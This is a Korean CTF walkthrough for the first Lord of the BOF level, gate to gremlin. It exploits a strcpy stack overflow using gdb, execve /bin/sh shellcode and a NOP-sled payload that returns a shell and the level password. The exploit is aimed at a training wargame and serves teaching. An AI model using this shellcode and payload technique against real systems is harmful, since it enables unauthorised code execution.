/*
        The Lord of the BOF : The Fellowship of the BOF 
        - gremlin
        - simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

LOB 첫번째 문제이다.

 

buffer 변수의 크기는 256bytes 인데, strcpy에서 argv[1]의 값을 buffer로 값을 복사하는 과정에서 bof 공격이 가능하다.

gdb로 분석하기 위해 gate 바이너리 파일을 복사한 후 분석을 진행하겠다.

[gate@localhost gate]$ mkdir tmp
[gate@localhost gate]$ cp gremlin ./tmp/gremlin_copy
[gate@localhost gate]$ cd tmp
[gate@localhost tmp]$ ls
gremlin_copy
[gate@localhost tmp]$ gdb -q gremlin_copy 
(gdb) 

 

공격 시나리오는 다음과 같다.

1. stack에 shellcode를 삽입한다.

2. stack의 주소를 알아낸다.

3. RET에 stack 주소를 삽입한다.

 

 

stack의 주소를 알아내기 위해 main 함수의 어셈블리어를 보면 main+54에서 strcpy 함수를 CALL하고 있다. 위 c 코드에서 인자를 2개 넘겨주었기 때문에 main+46과 main+53이 strcpy의 인자 값이다. 

c코드를 보면 strcpy(buffer, argv[1]) 인데, 스택에서 인자값을 넣는다면 argv[1] -> buffer 순으로 스택에 저장이 된다.

즉 main+46은 argv[1]의 주소, main+53은 buffer의 주소이다. buffer의 주소를 찾은 것이다.!!

...
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
...

 

 

 

buffer의 주소를 알아내기 위해 main+53을 수행한 이후인 main+54에서 breakpoint를 걸어준 후, 맨 위에 쌓인 스택 값을 본다. argv[1] 값으로 123 이라는 값을 주고 run 한다.

(gdb)b *main+54
Breakpoint 1 at 0x8048466
(gdb) r 123
Starting program: /home/gate/tmp/gremlin_copy 123

Breakpoint 1, 0x8048466 in main ()
(gdb) x/wx $esp
0xbffffb90:     0xbffffb98

 

스택에 0xbffffb98 주소가 buffer의 주소이다. 이 주소의 값을 보면 아래와 같다.

(gdb) x/wx 0xbffffb98  
0xbffffb98:     0x00005a62

buffer에 들어있는 값은 0x00005a62이다. strcpy 함수가 동작하기 전 이기 때문에 쓰레기 값이 들어있다.

어셈블리어 명령어 한줄을 실행시킨뒤 다시 0xbffffb98에 들어있는 값을 보자. 이번엔 쓰레기 값이 아닌 argv[1] 값인 123 값이 리틀엔디안으로 들어간 것을 볼 수 있다. 0xbffffb98 주소가 buffer인 것이 확신하다는 것을 알 수 있다.

(gdb) ni
0x804846b in main ()
(gdb) x/wx 0xbffffb98
0xbffffb98:     0x00333231

 

 

이제 buffer에 shellcode를 넣고 RET 주소에 buffer 주소를 넣고 실행하면 성공이다.

아래는 스택에 넣을 값을 정리한 것이다.

[Dummy code(256bytes)] + [SFP(4bytes)] + [RET]
[NOP + Shellcode(260bytes)] + [buffer addr(4bytes)]

 

shellcode는 아래 것을 사용했다. (25bytes)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

최종적인 payload는 아래와 같다.

./gremlin_copy `python -c 'print "\x90"*235+
			    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+
                            "\x98\xfb\xff\xbf"'`

 

하지만 Segmentation fault가 뜬다. core 파일을 gdb로 분석해서 다시 buffer의 주소를 찾는다.

[gate@localhost tmp]$ ./gremlin_copy `python -c 'print "\x90"*235+"\x31\xc>
1Ph//shh/binS
             ̀
Segmentation fault (core dumped)

 

gdb 명령어로 core 파일을 분석해보면 0xbffffce0 주소에서 우리가 입력한 NOP Sled 값들이 들어간 것을 볼 수 있다. 이 주소에서 적당한 주소를 들고와 다시 RET에 overwrite한다. 필자는 0xbffffcea 값을 RET 주소로 했다.

[gate@localhost tmp]$ gdb -c core -q
Core was generated by `./gremlin_copy '.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffb95 in ?? ()
(gdb) x/100wx $esp
0xbffffb90:     0x00000000      0xbffffbd4      0xbffffbe0      0x40013868
0xbffffba0:     0x00000002      0x08048380      0x00000000      0x080483a1
0xbffffbb0:     0x08048430      0x00000002      0xbffffbd4      0x080482e0
0xbffffbc0:     0x080484bc      0x4000ae60      0xbffffbcc      0x40013e90
0xbffffbd0:     0x00000002      0xbffffcd1      0xbffffce0      0x00000000
0xbffffbe0:     0xbffffde9      0xbffffdfc      0xbffffe3e      0xbffffe5d
0xbffffbf0:     0xbffffe7f      0xbffffe89      0xbffffe94      0xbffffeb3
0xbffffc00:     0xbffffecd      0xbffffee2      0xbffffefe      0xbfffff09
0xbffffc10:     0xbfffff16      0xbfffff1e      0xbfffff2f      0xbfffff39
0xbffffc20:     0xbfffff47      0xbfffff58      0xbfffff66      0xbfffff7a
0xbffffc30:     0xbfffff8a      0xbfffffca      0xbfffffdb      0x00000000
0xbffffc40:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffc50:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffc60:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffc70:     0x00000009      0x08048380      0x0000000b      0x000001f4
0xbffffc80:     0x0000000c      0x000001f4      0x0000000d      0x000001f4
0xbffffc90:     0x0000000e      0x000001f4      0x00000010      0x0f8bfbff
0xbffffca0:     0x0000000f      0xbffffccc      0x00000000      0x00000000
0xbffffcb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcc0:     0x00000000      0x00000000      0x00000000      0x36383669
0xbffffcd0:     0x672f2e00      0x6c6d6572      0x635f6e69      0x0079706f
0xbffffce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcf0:     0x90909090      0x90909090      0x90909090      0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffd00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd10:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) [gate@localhost tmp]$ 

 

 

다시 gremlin 파일에 인자 값을 넘기면 shell을 얻어낸 것을 알 수 있다.

[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xea\xfc\xff\xbf"
1Ph//shh/binS
             ̀
bash$ whoami
gremlin
bash$ my-pass
euid = 501
hello bof world
bash$

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04
[LOB] - cobolt -> goblin 풀이  (0) 2019.10.04
[LOB] - gremlin -> cobolt 풀이  (0) 2019.10.04
[LOB] - gate -> gremlin 풀이  (0) 2019.10.04